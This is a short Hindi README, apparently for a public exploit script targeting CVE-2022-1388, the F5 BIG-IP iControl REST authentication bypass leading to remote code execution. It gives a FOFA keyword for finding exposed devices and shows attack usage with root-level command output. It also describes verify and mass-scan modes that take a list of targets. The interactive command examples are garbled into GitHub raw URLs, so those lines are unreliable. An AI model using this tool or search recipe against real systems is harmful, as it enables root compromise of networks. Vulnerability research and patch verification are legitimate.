CVE-2022-1388

F5 BIG-IP अनप्रमाणित RCE भेद्यता

F5 BIG-IP iControl REST प्रमाणीकरण बाईपास RCE भेद्यता

fofa कीवर्ड: title="BIG-IP®- Redirect"

उपयोग

• हमला

$ python3 cve-2022-1388.py -t https://203.xxx.xxx.xxx
[+] https://203.xxx.xxx.xxx असुरक्षित है
[अपना कमांड दर्ज करें]: https://raw.githubusercontent.com/saucer-man/cve-2022-1388/main/id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:initrc_t:s0
[अपना कमांड दर्ज करें]: https://raw.githubusercontent.com/saucer-man/cve-2022-1388/main/whoami
root
[अपना कमांड दर्ज करें]: 

https://raw.githubusercontent.com/saucer-man/cve-2022-1388/main/%60%60%60

- सत्यापित करें:

$ python3 cve-2022-1388.py -t https://203.xxx.xxx.xxx --verify [+] https://203.xxx.xxx.xxx असुरक्षित है

$ python3 cve-2022-1388.py -f url.txt
[+] https://203.xxx.xxx.xxx असुरक्षित है

## संदर्भ

- https://support.f5.com/csp/article/K23605346
- https://twitter.com/_0xf4n9x_/status/1523639281532620800